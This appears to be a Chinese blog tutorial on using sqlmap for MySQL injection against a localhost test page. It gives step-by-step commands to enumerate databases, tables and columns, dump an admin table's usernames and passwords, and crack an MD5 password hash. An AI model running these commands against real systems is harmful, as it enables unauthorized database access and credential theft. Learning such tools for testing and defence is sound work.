sqlmap之(四)----Mysql注入实战

(1) 查找数据库

 

 

[html] view plain copy
 
  1. sqlmap.py -u "http://localhost/sqls/index.php?id=123" --dbs  

 

 

sqlmap之(四)----Mysql注入实战

 

数据库有8个。

 

(2) 通过第一步的数据库查找表(假如数据库名为test)

 

 

[html] view plain copy
 
  1. sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test --tables  

 

 


sqlmap之(四)----Mysql注入实战

 

猜解出来里面存在admin,sqltest两个表。

 

(3) 通过2中的表得出列名(假如表为admin)

 

 

[html] view plain copy
 
  1. sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test -T admin --columns  


sqlmap之(四)----Mysql注入实战

 

 

 

(4) 获取字段的值(假如扫描出id,user,pwd字段)

 

 

[html] view plain copy
 
  1. sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test -T admin -C "id,user,pwd" --dump  

 

 

sqlmap之(四)----Mysql注入实战

 

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

你想存储的哈希值来与其他工具最终进一步处理临时文件?   输入"Y"

 

do you want to ***** them via a dictionary-based attack? [Y/n/q]

你想通过基于字典的攻击来**他们吗?  输入"N"

 

马上就得到了用户名

sqlmap之(四)----Mysql注入实战

 

与MD5的密码: 3f230640b78d7e71ac5514e57935eb69 去**下得到"qazxsw"